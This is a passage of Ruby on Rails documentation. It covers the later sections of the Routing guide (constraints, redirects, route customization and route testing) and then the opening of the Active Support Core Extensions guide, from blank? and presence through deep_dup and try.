GET | /articles/:article_id/comments(.:format) | comments#index | article_comments_path
POST | /articles/:article_id/comments(.:format) | comments#create | article_comments_path
GET | /articles/:article_id/comments/new(.:format) | comments#new | new_article_comment_path
GET | /sekret/comments/:id/edit(.:format) | comments#edit | edit_comment_path
GET | /sekret/comments/:id(.:format) | comments#show | comment_path
PATCH/PUT | /sekret/comments/:id(.:format) | comments#update | comment_path
DELETE | /sekret/comments/:id(.:format) | comments#destroy | comment_path

The :shallow_prefix option adds the specified parameter to the named route helpers:

  scope shallow_prefix: "sekret" do
  resources :articles do
    resources :comments, shallow: true
  end
end

The comments resource here will have the following routes generated for it:

HTTP Verb | Path | Controller#Action | Named Route Helper
GET | /articles/:article_id/comments(.:format) | comments#index | article_comments_path
POST | /articles/:article_id/comments(.:format) | comments#create | article_comments_path
GET | /articles/:article_id/comments/new(.:format) | comments#new | new_article_comment_path
GET | /comments/:id/edit(.:format) | comments#edit | edit_sekret_comment_path
GET | /comments/:id(.:format) | comments#show | sekret_comment_path
PATCH/PUT | /comments/:id(.:format) | comments#update | sekret_comment_path
DELETE | /comments/:id(.:format) | comments#destroy | sekret_comment_path

2.8 Routing Concerns

Routing concerns allow you to declare common routes that can be reused inside other resources and routes. To define a concern, use a concern block:

  concern :commentable do
  resources :comments
end

concern :image_attachable do
  resources :images, only: :index
end

These concerns can be used in resources to avoid code duplication and share behavior across routes:

  resources :messages, concerns: :commentable

resources :articles, concerns: [:commentable, :image_attachable]

The above is equivalent to:

  resources :messages do
  resources :comments
end

resources :articles do
  resources :comments
  resources :images, only: :index
end

You can also use them anywhere by calling concerns. For example, in a scope or namespace block:

  namespace :articles do
  concerns :commentable
end

2.9 Creating Paths and URLs from Objects

In addition to using the routing helpers, Rails can also create paths and URLs from an array of parameters. For example, suppose you have this set of routes:

  resources :magazines do
  resources :ads
end

When using magazine_ad_path, you can pass in instances of Magazine and Ad instead of the numeric IDs:

  <%= link_to 'Ad details', magazine_ad_path(@magazine, @ad) %>

You can also use url_for with a set of objects, and Rails will automatically determine which route you want:

  <%= link_to 'Ad details', url_for([@magazine, @ad]) %>

In this case, Rails will see that @magazine is a Magazine and @ad is an Ad and will therefore use the magazine_ad_path helper. In helpers like link_to, you can specify just the object in place of the full url_for call:

  <%= link_to 'Ad details', [@magazine, @ad] %>

If you wanted to link to just a magazine:

  <%= link_to 'Magazine details', @magazine %>

For other actions, you just need to insert the action name as the first element of the array:

  <%= link_to 'Edit Ad', [:edit, @magazine, @ad] %>

This allows you to treat instances of your models as URLs, and is a key advantage to using the resourceful style.

2.10 Adding More RESTful Actions

You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional routes that apply to the collection or individual members of the collection.

2.10.1 Adding Member Routes

To add a member route, just add a member block into the resource block:

  resources :photos do
  member do
    get 'preview'
  end
end

This will recognize /photos/1/preview with GET, and route to the preview action of PhotosController, with the resource id value passed in params[:id]. It will also create the preview_photo_url and preview_photo_path helpers.

Within the block of member routes, each route name specifies the HTTP verb that will be recognized. You can use get, patch, put, post, or delete here . If you don't have multiple member routes, you can also pass :on to a route, eliminating the block:

  resources :photos do
  get 'preview', on: :member
end

You can leave out the :on option, this will create the same member route except that the resource id value will be available in params[:photo_id] instead of params[:id]. Route helpers will also be renamed from preview_photo_url and preview_photo_path to photo_preview_url and photo_preview_path.

2.10.2 Adding Collection Routes

To add a route to the collection, use a collection block:

  resources :photos do
  collection do
    get 'search'
  end
end

This will enable Rails to recognize paths such as /photos/search with GET, and route to the search action of PhotosController. It will also create the search_photos_url and search_photos_path route helpers.

Just as with member routes, you can pass :on to a route:

  resources :photos do
  get 'search', on: :collection
end

If you're defining additional resource routes with a symbol as the first positional argument, be mindful that it is not equivalent to using a string. Symbols infer controller actions while strings infer paths.

2.10.3 Adding Routes for Additional New Actions

To add an alternate new action using the :on shortcut:

  resources :comments do
  get 'preview', on: :new
end

This will enable Rails to recognize paths such as /comments/new/preview with GET, and route to the preview action of CommentsController. It will also create the preview_new_comment_url and preview_new_comment_path route helpers.

If you find yourself adding many extra actions to a resourceful route, it's time to stop and ask yourself whether you're disguising the presence of another resource.

3 Non-Resourceful Routes

In addition to resource routing, Rails has powerful support for routing arbitrary URLs to actions. Here, you don't get groups of routes automatically generated by resourceful routing. Instead, you set up each route separately within your application.

While you should usually use resourceful routing, there are still many places where the simpler routing is more appropriate. There's no need to try to shoehorn every last piece of your application into a resourceful framework if that's not a good fit.

In particular, simple routing makes it very easy to map legacy URLs to new Rails actions.

3.1 Bound Parameters

When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. For example, consider this route:

  get 'photos(/:id)', to: 'photos#display'

If an incoming request of /photos/1 is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the display action of the PhotosController, and to make the final parameter "1" available as params[:id]. This route will also route the incoming request of /photos to PhotosController#display, since :id is an optional parameter, denoted by parentheses.

3.2 Dynamic Segments

You can set up as many dynamic segments within a regular route as you like. Any segment will be available to the action as part of params. If you set up this route:

  get 'photos/:id/:user_id', to: 'photos#show'

An incoming path of /photos/1/2 will be dispatched to the show action of the PhotosController. params[:id] will be "1", and params[:user_id] will be "2".

By default, dynamic segments don't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within a dynamic segment, add a constraint that overrides this – for example, id: /[^\/]+/ allows anything except a slash.

3.3 Static Segments

You can specify static segments when creating a route by not prepending a colon to a segment:

  get 'photos/:id/with_user/:user_id', to: 'photos#show'

This route would respond to paths such as /photos/1/with_user/2. In this case, params would be { controller: 'photos', action: 'show', id: '1', user_id: '2' }.

3.4 The Query String

The params will also include any parameters from the query string. For example, with this route:

  get 'photos/:id', to: 'photos#show'

An incoming path of /photos/1?user_id=2 will be dispatched to the show action of the Photos controller. params will be { controller: 'photos', action: 'show', id: '1', user_id: '2' }.

3.5 Defining Defaults

You can define defaults in a route by supplying a hash for the :defaults option. This even applies to parameters that you do not specify as dynamic segments. For example:

  get 'photos/:id', to: 'photos#show', defaults: { format: 'jpg' }

Rails would match photos/12 to the show action of PhotosController, and set params[:format] to "jpg".

You can also use a defaults block to define the defaults for multiple items:

  defaults format: :json do
  resources :photos
end

You cannot override defaults via query parameters - this is for security reasons. The only defaults that can be overridden are dynamic segments via substitution in the URL path.

3.6 Naming Routes

You can specify a name for any route using the :as option:

  get 'exit', to: 'sessions#destroy', as: :logout

This will create logout_path and logout_url as named route helpers in your application. Calling logout_path will return /exit

You can also use this to override routing methods defined by resources by placing custom routes before the resource is defined, like this:

  get ':username', to: 'users#show', as: :user
resources :users

This will define a user_path method that will be available in controllers, helpers, and views that will go to a route such as /bob. Inside the show action of UsersController, params[:username] will contain the username for the user. Change :username in the route definition if you do not want your parameter name to be :username.

3.7 HTTP Verb Constraints

In general, you should use the get, post, put, patch, and delete methods to constrain a route to a particular verb. You can use the match method with the :via option to match multiple verbs at once:

  match 'photos', to: 'photos#show', via: [:get, :post]

You can match all verbs to a particular route using via: :all:

  match 'photos', to: 'photos#show', via: :all

Routing both GET and POST requests to a single action has security implications. In general, you should avoid routing all verbs to an action unless you have a good reason to.

GET in Rails won't check for CSRF token. You should never write to the database from GET requests, for more information see the security guide on CSRF countermeasures.

3.8 Segment Constraints

You can use the :constraints option to enforce a format for a dynamic segment:

  get 'photos/:id', to: 'photos#show', constraints: { id: /[A-Z]\d{5}/ }

This route would match paths such as /photos/A12345, but not /photos/893. You can more succinctly express the same route this way:

  get 'photos/:id', to: 'photos#show', id: /[A-Z]\d{5}/

:constraints takes regular expressions with the restriction that regexp anchors can't be used. For example, the following route will not work:

  get '/:id', to: 'articles#show', constraints: { id: /^\d/ }

However, note that you don't need to use anchors because all routes are anchored at the start and the end.

For example, the following routes would allow for articles with to_param values like 1-hello-world that always begin with a number and users with to_param values like david that never begin with a number to share the root namespace:

  get '/:id', to: 'articles#show', constraints: { id: /\d.+/ }
get '/:username', to: 'users#show'

3.9 Request-Based Constraints

You can also constrain a route based on any method on the Request object that returns a String.

You specify a request-based constraint the same way that you specify a segment constraint:

  get 'photos', to: 'photos#index', constraints: { subdomain: 'admin' }

You can also specify constraints by using a constraints block:

  namespace :admin do
  constraints subdomain: 'admin' do
    resources :photos
  end
end

Request constraints work by calling a method on the Request object with the same name as the hash key and then comparing the return value with the hash value. Therefore, constraint values should match the corresponding Request object method return type. For example: constraints: { subdomain: 'api' } will match an api subdomain as expected. However, using a symbol constraints: { subdomain: :api } will not, because request.subdomain returns 'api' as a String.

There is an exception for the format constraint: while it's a method on the Request object, it's also an implicit optional parameter on every path. Segment constraints take precedence and the format constraint is only applied as such when enforced through a hash. For example, get 'foo', constraints: { format: 'json' } will match GET /foo because the format is optional by default. However, you can use a lambda like in get 'foo', constraints: lambda { |req| req.format == :json } and the route will only match explicit JSON requests.

3.10 Advanced Constraints

If you have a more advanced constraint, you can provide an object that responds to matches? that Rails should use. Let's say you wanted to route all users on a restricted list to the RestrictedListController. You could do:

  class RestrictedListConstraint
  def initialize
    @ips = RestrictedList.retrieve_ips
  end

  def matches?(request)
    @ips.include?(request.remote_ip)
  end
end

Rails.application.routes.draw do
  get '*path', to: 'restricted_list#index',
    constraints: RestrictedListConstraint.new
end

You can also specify constraints as a lambda:

  Rails.application.routes.draw do
  get '*path', to: 'restricted_list#index',
    constraints: lambda { |request| RestrictedList.retrieve_ips.include?(request.remote_ip) }
end

Both the matches? method and the lambda gets the request object as an argument.

3.10.1 Constraints in a Block Form

You can specify constraints in a block form. This is useful for when you need to apply the same rule to several routes. For example:

  class RestrictedListConstraint
  # ...Same as the example above
end

Rails.application.routes.draw do
  constraints(RestrictedListConstraint.new) do
    get '*path', to: 'restricted_list#index'
    get '*other-path', to: 'other_restricted_list#index'
  end
end

You can also use a lambda:

  Rails.application.routes.draw do
  constraints(lambda { |request| RestrictedList.retrieve_ips.include?(request.remote_ip) }) do
    get '*path', to: 'restricted_list#index'
    get '*other-path', to: 'other_restricted_list#index'
  end
end

3.11 Route Globbing and Wildcard Segments

Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example:

  get 'photos/*other', to: 'photos#unknown'

This route would match photos/12 or /photos/long/path/to/12, setting params[:other] to "12" or "long/path/to/12". The segments prefixed with a star are called "wildcard segments".

Wildcard segments can occur anywhere in a route. For example:

  get 'books/*section/:title', to: 'books#show'

would match books/some/section/last-words-a-memoir with params[:section] equals 'some/section', and params[:title] equals 'last-words-a-memoir'.

Technically, a route can have even more than one wildcard segment. The matcher assigns segments to parameters in an intuitive way. For example:

  get '*a/foo/*b', to: 'test#index'

would match zoo/woo/foo/bar/baz with params[:a] equals 'zoo/woo', and params[:b] equals 'bar/baz'.

By requesting '/foo/bar.json', your params[:pages] will be equal to 'foo/bar' with the request format of JSON. If you want the old 3.0.x behavior back, you could supply format: false like this:

  get '*pages', to: 'pages#show', format: false

If you want to make the format segment mandatory, so it cannot be omitted, you can supply format: true like this:

  get '*pages', to: 'pages#show', format: true

3.12 Redirection

You can redirect any path to another path by using the redirect helper in your router:

  get '/stories', to: redirect('/articles')

You can also reuse dynamic segments from the match in the path to redirect to:

  get '/stories/:name', to: redirect('/articles/%{name}')

You can also provide a block to redirect, which receives the symbolized path parameters and the request object:

  get '/stories/:name', to: redirect { |path_params, req| "/articles/#{path_params[:name].pluralize}" }
get '/stories', to: redirect { |path_params, req| "/articles/#{req.subdomain}" }

Please note that default redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible. You can use the :status option to change the response status:

  get '/stories/:name', to: redirect('/articles/%{name}', status: 302)

In all of these cases, if you don't provide the leading host (http://www.example.com), Rails will take those details from the current request.

3.13 Routing to Rack Applications

Instead of a String like 'articles#index', which corresponds to the index action in the ArticlesController, you can specify any Rack application as the endpoint for a matcher:

  match '/application.js', to: MyRackApp, via: :all

As long as MyRackApp responds to call and returns a [status, headers, body], the router won't know the difference between the Rack application and an action. This is an appropriate use of via: :all, as you will want to allow your Rack application to handle all verbs as it considers appropriate.

For the curious, 'articles#index' actually expands out to ArticlesController.action(:index), which returns a valid Rack application.

Since procs/lambdas are objects that respond to call, you can implement very simple routes (e.g. for health checks) inline:
get '/health', to: ->(env) { [204, {}, ['']] }

If you specify a Rack application as the endpoint for a matcher, remember that the route will be unchanged in the receiving application. With the following route your Rack application should expect the route to be /admin:

  match '/admin', to: AdminApp, via: :all

If you would prefer to have your Rack application receive requests at the root path instead, use mount:

  mount AdminApp, at: '/admin'

3.14 Using root

You can specify what Rails should route '/' to with the root method:

  root to: 'pages#main'
root 'pages#main' # shortcut for the above

You should put the root route at the top of the file, because it is the most popular route and should be matched first.

The root route only routes GET requests to the action.

You can also use root inside namespaces and scopes as well. For example:

  namespace :admin do
  root to: "admin#index"
end

root to: "home#index"

3.15 Unicode Character Routes

You can specify unicode character routes directly. For example:

  get 'こんにちは', to: 'welcome#index'

3.16 Direct Routes

You can create custom URL helpers directly by calling direct. For example:

  direct :homepage do
  "https://rubyonrails.org"
end

# >> homepage_url
# => "https://rubyonrails.org"

The return value of the block must be a valid argument for the url_for method. So, you can pass a valid string URL, Hash, Array, an Active Model instance, or an Active Model class.

  direct :commentable do |model|
  [ model, anchor: model.dom_id ]
end

direct :main do
  { controller: 'pages', action: 'index', subdomain: 'www' }
end

3.17 Using resolve

The resolve method allows customizing polymorphic mapping of models. For example:

  resource :basket

resolve("Basket") { [:basket] }

  <%= form_with model: @basket do |form| %>
  <!-- basket form -->
<% end %>

This will generate the singular URL /basket instead of the usual /baskets/:id.

4 Customizing Resourceful Routes

While the default routes and helpers generated by resources will usually serve you well, you may want to customize them in some way. Rails allows you to customize virtually any generic part of the resourceful helpers.

4.1 Specifying a Controller to Use

The :controller option lets you explicitly specify a controller to use for the resource. For example:

  resources :photos, controller: 'images'

will recognize incoming paths beginning with /photos but route to the Images controller:

HTTP Verb | Path | Controller#Action | Named Route Helper
GET | /photos | images#index | photos_path
GET | /photos/new | images#new | new_photo_path
POST | /photos | images#create | photos_path
GET | /photos/:id | images#show | photo_path(:id)
GET | /photos/:id/edit | images#edit | edit_photo_path(:id)
PATCH/PUT | /photos/:id | images#update | photo_path(:id)
DELETE | /photos/:id | images#destroy | photo_path(:id)

Use photos_path, new_photo_path, etc. to generate paths for this resource.

For namespaced controllers you can use the directory notation. For example:

  resources :user_permissions, controller: 'admin/user_permissions'

This will route to the Admin::UserPermissions controller.

Only the directory notation is supported. Specifying the controller with Ruby constant notation (e.g. controller: 'Admin::UserPermissions') can lead to routing problems and results in a warning.

4.2 Specifying Constraints

You can use the :constraints option to specify a required format on the implicit id. For example:

  resources :photos, constraints: { id: /[A-Z][A-Z][0-9]+/ }

This declaration constrains the :id parameter to match the supplied regular expression. So, in this case, the router would no longer match /photos/1 to this route. Instead, /photos/RR27 would match.

You can specify a single constraint to apply to a number of routes by using the block form:

  constraints(id: /[A-Z][A-Z][0-9]+/) do
  resources :photos
  resources :accounts
end

Of course, you can use the more advanced constraints available in non-resourceful routes in this context.

By default the :id parameter doesn't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within an :id add a constraint which overrides this - for example id: /[^\/]+/ allows anything except a slash.

4.3 Overriding the Named Route Helpers

The :as option lets you override the normal naming for the named route helpers. For example:

  resources :photos, as: 'images'

will recognize incoming paths beginning with /photos and route the requests to PhotosController, but use the value of the :as option to name the helpers.

HTTP Verb | Path | Controller#Action | Named Route Helper
GET | /photos | photos#index | images_path
GET | /photos/new | photos#new | new_image_path
POST | /photos | photos#create | images_path
GET | /photos/:id | photos#show | image_path(:id)
GET | /photos/:id/edit | photos#edit | edit_image_path(:id)
PATCH/PUT | /photos/:id | photos#update | image_path(:id)
DELETE | /photos/:id | photos#destroy | image_path(:id)

4.4 Overriding the new and edit Segments

The :path_names option lets you override the automatically-generated new and edit segments in paths:

  resources :photos, path_names: { new: 'make', edit: 'change' }

This would cause the routing to recognize paths such as:

  /photos/make
/photos/1/change

The actual action names aren't changed by this option. The two paths shown would still route to the new and edit actions.

If you find yourself wanting to change this option uniformly for all of your routes, you can use a scope, like below:

  scope path_names: { new: 'make' } do
  # rest of your routes
end

4.5 Prefixing the Named Route Helpers

You can use the :as option to prefix the named route helpers that Rails generates for a route. Use this option to prevent name collisions between routes using a path scope. For example:

  scope 'admin' do
  resources :photos, as: 'admin_photos'
end

resources :photos

This will provide route helpers such as admin_photos_path, new_admin_photo_path, etc.

To prefix a group of route helpers, use :as with scope:

  scope 'admin', as: 'admin' do
  resources :photos, :accounts
end

resources :photos, :accounts

This will generate routes such as admin_photos_path and admin_accounts_path which map to /admin/photos and /admin/accounts respectively.

The namespace scope will automatically add :as as well as :module and :path prefixes.

4.5.1 Parametric Scopes

You can prefix routes with a named parameter:

  scope ':account_id', as: 'account', constraints: { account_id: /\d+/ } do
  resources :articles
end

This will provide you with paths such as /1/articles/9 and will allow you to reference the account_id part of the path as params[:account_id] in controllers, helpers, and views.

It will also generate path and URL helpers prefixed with account_, into which you can pass your objects as expected:

  account_article_path(@account, @article) # => /1/article/9
url_for([@account, @article])            # => /1/article/9
form_with(model: [@account, @article])   # => <form action="/1/article/9" ...>

We are using a constraint to limit the scope to only match ID-like strings. You can change the constraint to suit your needs, or omit it entirely. The :as option is also not strictly required, but without it, Rails will raise an error when evaluating url_for([@account, @article]) or other helpers that rely on url_for, such as form_with.

4.6 Restricting the Routes Created

By default, Rails creates routes for the seven default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the :only and :except options to fine-tune this behavior. The :only option tells Rails to create only the specified routes:

  resources :photos, only: [:index, :show]

Now, a GET request to /photos would succeed, but a POST request to /photos (which would ordinarily be routed to the create action) will fail.

The :except option specifies a route or list of routes that Rails should not create:

  resources :photos, except: :destroy

In this case, Rails will create all of the normal routes except the route for destroy (a DELETE request to /photos/:id).

If your application has many RESTful routes, using :only and :except to generate only the routes that you actually need can cut down on memory use and speed up the routing process.

4.7 Translated Paths

Using scope, we can alter path names generated by resources:

  scope(path_names: { new: 'neu', edit: 'bearbeiten' }) do
  resources :categories, path: 'kategorien'
end

Rails now creates routes to the CategoriesController.

HTTP Verb | Path | Controller#Action | Named Route Helper
GET | /kategorien | categories#index | categories_path
GET | /kategorien/neu | categories#new | new_category_path
POST | /kategorien | categories#create | categories_path
GET | /kategorien/:id | categories#show | category_path(:id)
GET | /kategorien/:id/bearbeiten | categories#edit | edit_category_path(:id)
PATCH/PUT | /kategorien/:id | categories#update | category_path(:id)
DELETE | /kategorien/:id | categories#destroy | category_path(:id)

4.8 Overriding the Singular Form

If you want to override the singular form of a resource, you should add additional rules to the inflector via inflections:

  ActiveSupport::Inflector.inflections do |inflect|
  inflect.irregular 'tooth', 'teeth'
end

4.9 Using :as in Nested Resources

The :as option overrides the automatically-generated name for the resource in nested route helpers. For example:

  resources :magazines do
  resources :ads, as: 'periodical_ads'
end

This will create routing helpers such as magazine_periodical_ads_url and edit_magazine_periodical_ad_path.

4.10 Overriding Named Route Parameters

The :param option overrides the default resource identifier :id (name of the dynamic segment used to generate the routes). You can access that segment from your controller using params[<:param>].

  resources :videos, param: :identifier

      videos GET  /videos(.:format)                  videos#index
           POST /videos(.:format)                  videos#create
 new_video GET  /videos/new(.:format)              videos#new
edit_video GET  /videos/:identifier/edit(.:format) videos#edit

  Video.find_by(identifier: params[:identifier])

You can override ActiveRecord::Base#to_param of the associated model to construct a URL:

  class Video < ApplicationRecord
  def to_param
    identifier
  end
end

  video = Video.find_by(identifier: "Roman-Holiday")
edit_video_path(video) # => "/videos/Roman-Holiday/edit"

5 Breaking Up Very Large Route File into Multiple Small Ones

If you work in a large application with thousands of routes, a single config/routes.rb file can become cumbersome and hard to read.

Rails offers a way to break a gigantic single routes.rb file into multiple small ones using the draw macro.

You could have an admin.rb route that contains all the routes for the admin area, another api.rb file for API related resources, etc.

  # config/routes.rb

Rails.application.routes.draw do
  get 'foo', to: 'foo#bar'

  draw(:admin) # Will load another route file located in `config/routes/admin.rb`
end

  # config/routes/admin.rb

namespace :admin do
  resources :comments
end

Calling draw(:admin) inside the Rails.application.routes.draw block itself will try to load a route file that has the same name as the argument given (admin.rb in this example). The file needs to be located inside the config/routes directory or any sub-directory (i.e. config/routes/admin.rb or config/routes/external/admin.rb).

You can use the normal routing DSL inside the admin.rb routing file, but you shouldn't surround it with the Rails.application.routes.draw block like you did in the main config/routes.rb file.

5.1 Don't Use This Feature Unless You Really Need It

Having multiple routing files makes discoverability and understandability harder. For most applications - even those with a few hundred routes - it's easier for developers to have a single routing file. The Rails routing DSL already offers a way to break routes in an organized manner with namespace and scope.

6 Inspecting and Testing Routes

Rails offers facilities for inspecting and testing your routes.

6.1 Listing Existing Routes

To get a complete list of the available routes in your application, visit http://localhost:3000/rails/info/routes in your browser while your server is running in the development environment. You can also execute the bin/rails routes command in your terminal to produce the same output.

Both methods will list all of your routes, in the same order that they appear in config/routes.rb. For each route, you'll see:

The route name (if any)

The HTTP verb used (if the route doesn't respond to all verbs)

The URL pattern to match

The routing parameters for the route

For example, here's a small section of the bin/rails routes output for a RESTful route:

      users GET    /users(.:format)          users#index
          POST   /users(.:format)          users#create
 new_user GET    /users/new(.:format)      users#new
edit_user GET    /users/:id/edit(.:format) users#edit

You can also use the --expanded option to turn on the expanded table formatting mode.

  $ bin/rails routes --expanded

--[ Route 1 ]----------------------------------------------------
Prefix            | users
Verb              | GET
URI               | /users(.:format)
Controller#Action | users#index
--[ Route 2 ]----------------------------------------------------
Prefix            |
Verb              | POST
URI               | /users(.:format)
Controller#Action | users#create
--[ Route 3 ]----------------------------------------------------
Prefix            | new_user
Verb              | GET
URI               | /users/new(.:format)
Controller#Action | users#new
--[ Route 4 ]----------------------------------------------------
Prefix            | edit_user
Verb              | GET
URI               | /users/:id/edit(.:format)
Controller#Action | users#edit

You can search through your routes with the grep option: -g. This outputs any routes that partially match the URL helper method name, the HTTP verb, or the URL path.

  $ bin/rails routes -g new_comment
$ bin/rails routes -g POST
$ bin/rails routes -g admin

If you only want to see the routes that map to a specific controller, there's the -c option.

  $ bin/rails routes -c users
$ bin/rails routes -c admin/users
$ bin/rails routes -c Comments
$ bin/rails routes -c Articles::CommentsController

You'll find that the output from bin/rails routes is much more readable if you widen your terminal window until the output lines don't wrap.

6.2 Testing Routes

Routes should be included in your testing strategy (just like the rest of your application). Rails offers three built-in assertions designed to make testing routes simpler:

assert_generates

assert_recognizes

assert_routing

6.2.1 The assert_generates Assertion

assert_generates asserts that a particular set of options generate a particular path and can be used with default routes or custom routes. For example:

  assert_generates '/photos/1', { controller: 'photos', action: 'show', id: '1' }
assert_generates '/about', controller: 'pages', action: 'about'

6.2.2 The assert_recognizes Assertion

assert_recognizes is the inverse of assert_generates. It asserts that a given path is recognized and routes it to a particular spot in your application. For example:

  assert_recognizes({ controller: 'photos', action: 'show', id: '1' }, '/photos/1')

You can supply a :method argument to specify the HTTP verb:

  assert_recognizes({ controller: 'photos', action: 'create' }, { path: 'photos', method: :post })

6.2.3 The assert_routing Assertion

The assert_routing assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of assert_generates and assert_recognizes:

  assert_routing({ path: 'photos', method: :post }, { controller: 'photos', action: 'create' })

Active Support Core Extensions

Active Support is the Ruby on Rails component responsible for providing Ruby language extensions and utilities.

It offers a richer bottom-line at the language level, targeted both at the development of Rails applications, and at the development of Ruby on Rails itself.

After reading this guide, you will know:

What Core Extensions are.

How to load all extensions.

How to cherry-pick just the extensions you want.

What extensions Active Support provides.

Chapters

How to Load Core Extensions

Stand-Alone Active Support

Active Support Within a Ruby on Rails Application

Extensions to All Objects

blank? and present?

presence

duplicable?

deep_dup

try

class_eval(*args, &block)

acts_like?(duck)

to_param

to_query

with_options

JSON Support

Instance Variables

Silencing Warnings and Exceptions

in?

Extensions to Module

Attributes

Parents

Anonymous

Method Delegation

Redefining Methods

Extensions to Class

Class Attributes

Subclasses and Descendants

Extensions to String

Output Safety

remove

squish

truncate

truncate_bytes

truncate_words

inquiry

starts_with? and ends_with?

strip_heredoc

indent

Access

Inflections

Conversions

Extensions to Symbol

starts_with? and ends_with?

Extensions to Numeric

Bytes

Time

Formatting

Extensions to Integer

multiple_of?

ordinal

ordinalize

Time

Extensions to BigDecimal

to_s

Extensions to Enumerable

sum

index_by

index_with

many?

exclude?

including

excluding

pluck

pick

Extensions to Array

Accessing

Extracting

Options Extraction

Conversions

Wrapping

Duplicating

Grouping

Extensions to Hash

Conversions

Merging

Deep Duplicating

Working with Keys

Working with Values

Slicing

Extracting

Indifferent Access

Extensions to Regexp

multiline?

Extensions to Range

to_s

=== and include?

overlaps?

Extensions to Date

Calculations

Extensions to DateTime

Calculations

Extensions to Time

Calculations

Time Constructors

Extensions to File

atomic_write

Extensions to NameError

Extensions to LoadError

Extensions to Pathname

existence

1 How to Load Core Extensions

1.1 Stand-Alone Active Support

In order to have the smallest default footprint possible, Active Support loads the minimum dependencies by default. It is broken in small pieces so that only the desired extensions can be loaded. It also has some convenience entry points to load related extensions in one shot, even everything.

Thus, after a simple require like:

  require "active_support"

only the extensions required by the Active Support framework are loaded.

1.1.1 Cherry-picking a Definition

This example shows how to load Hash#with_indifferent_access. This extension enables the conversion of a Hash into an ActiveSupport::HashWithIndifferentAccess which permits access to the keys as either strings or symbols.

  {a: 1}.with_indifferent_access["a"] # => 1

For every single method defined as a core extension this guide has a note that says where such a method is defined. In the case of with_indifferent_access the note reads:

Defined in active_support/core_ext/hash/indifferent_access.rb.

That means that you can require it like this:

  require "active_support"
require "active_support/core_ext/hash/indifferent_access"

Active Support has been carefully revised so that cherry-picking a file loads only strictly needed dependencies, if any.

1.1.2 Loading Grouped Core Extensions

The next level is to simply load all extensions to Hash. As a rule of thumb, extensions to SomeClass are available in one shot by loading active_support/core_ext/some_class.

Thus, to load all extensions to Hash (including with_indifferent_access):

  require "active_support"
require "active_support/core_ext/hash"

1.1.3 Loading All Core Extensions

You may prefer just to load all core extensions, there is a file for that:

  require "active_support"
require "active_support/core_ext"

1.1.4 Loading All Active Support

And finally, if you want to have all Active Support available just issue:

  require "active_support/all"

That does not even put the entire Active Support in memory upfront indeed, some stuff is configured via autoload, so it is only loaded if used.

1.2 Active Support Within a Ruby on Rails Application

A Ruby on Rails application loads all Active Support unless config.active_support.bare is true. In that case, the application will only load what the framework itself cherry-picks for its own needs, and can still cherry-pick itself at any granularity level, as explained in the previous section.

2 Extensions to All Objects

2.1 blank? and present?

The following values are considered to be blank in a Rails application:

nil and false,

strings composed only of whitespace (see note below),

empty arrays and hashes, and

any other object that responds to empty? and is empty.

The predicate for strings uses the Unicode-aware character class [:space:], so for example U+2029 (paragraph separator) is considered to be whitespace.

Note that numbers are not mentioned. In particular, 0 and 0.0 are not blank.

For example, this method from ActionController::HttpAuthentication::Token::ControllerMethods uses blank? for checking whether a token is present:

  def authenticate(controller, &login_procedure)
  token, options = token_and_options(controller.request)
  unless token.blank?
    login_procedure.call(token, options)
  end
end

The method present? is equivalent to !blank?. This example is taken from ActionDispatch::Http::Cache::Response:

  def set_conditional_cache_control!
  return if self["Cache-Control"].present?
  # ...
end

Defined in active_support/core_ext/object/blank.rb.

2.2 presence

The presence method returns its receiver if present?, and nil otherwise. It is useful for idioms like this:

  host = config[:host].presence || 'localhost'

Defined in active_support/core_ext/object/blank.rb.

2.3 duplicable?

As of Ruby 2.5, most objects can be duplicated via dup or clone:

  "foo".dup           # => "foo"
"".dup              # => ""
Rational(1).dup     # => (1/1)
Complex(0).dup      # => (0+0i)
1.method(:+).dup    # => TypeError (allocator undefined for Method)

Active Support provides duplicable? to query an object about this:

  "foo".duplicable?           # => true
"".duplicable?              # => true
Rational(1).duplicable?     # => true
Complex(1).duplicable?      # => true
1.method(:+).duplicable?    # => false

Any class can disallow duplication by removing dup and clone or raising exceptions from them. Thus only rescue can tell whether a given arbitrary object is duplicable. duplicable? depends on the hard-coded list above, but it is much faster than rescue. Use it only if you know the hard-coded list is enough in your use case.

Defined in active_support/core_ext/object/duplicable.rb.

2.4 deep_dup

The deep_dup method returns a deep copy of a given object. Normally, when you dup an object that contains other objects, Ruby does not dup them, so it creates a shallow copy of the object. If you have an array with a string, for example, it will look like this:

  array     = ['string']
duplicate = array.dup

duplicate.push 'another-string'

# the object was duplicated, so the element was added only to the duplicate
array     # => ['string']
duplicate # => ['string', 'another-string']

duplicate.first.gsub!('string', 'foo')

# first element was not duplicated, it will be changed in both arrays
array     # => ['foo']
duplicate # => ['foo', 'another-string']

As you can see, after duplicating the Array instance, we got another object, therefore we can modify it and the original object will stay unchanged. This is not true for array's elements, however. Since dup does not make a deep copy, the string inside the array is still the same object.

If you need a deep copy of an object, you should use deep_dup. Here is an example:

  array     = ['string']
duplicate = array.deep_dup

duplicate.first.gsub!('string', 'foo')

array     # => ['string']
duplicate # => ['foo']

If the object is not duplicable, deep_dup will just return it:

  number = 1
duplicate = number.deep_dup
number.object_id == duplicate.object_id   # => true

Defined in active_support/core_ext/object/deep_dup.rb.

2.5 try

When you want to call a method on an object only if it is not nil, the simplest way to achieve it is with conditional statements, adding unnecessary clutter. The alternative is to use try. try is like Object#public_send except that it returns nil if sent to nil.

Here is an example:

  # without try
unless @number.nil?
  @number.next
end

# with try
@number.try(:next)

Another example is this code from ActiveRecord::ConnectionAdapters::AbstractAdapter where @logger could be nil. You can see that the code uses try and avoids an unnecessary check.

  def log_info(sql, name, ms)
  if @logger.try(:debug?)
    name = '%s (%.1fms)' % [name || 'SQL', ms]
    @logger.debug(format_log_entry(name, sql.squeeze(' ')))
  end
end

try can also be called without arguments but a block, which will only be executed if the object is not nil:

  @person.try { |p| "#{p.first_name} #{p.last_name}" }

Note that try will swallow no-method errors, returning nil instead. If you want to protect against typos, use try! instead:

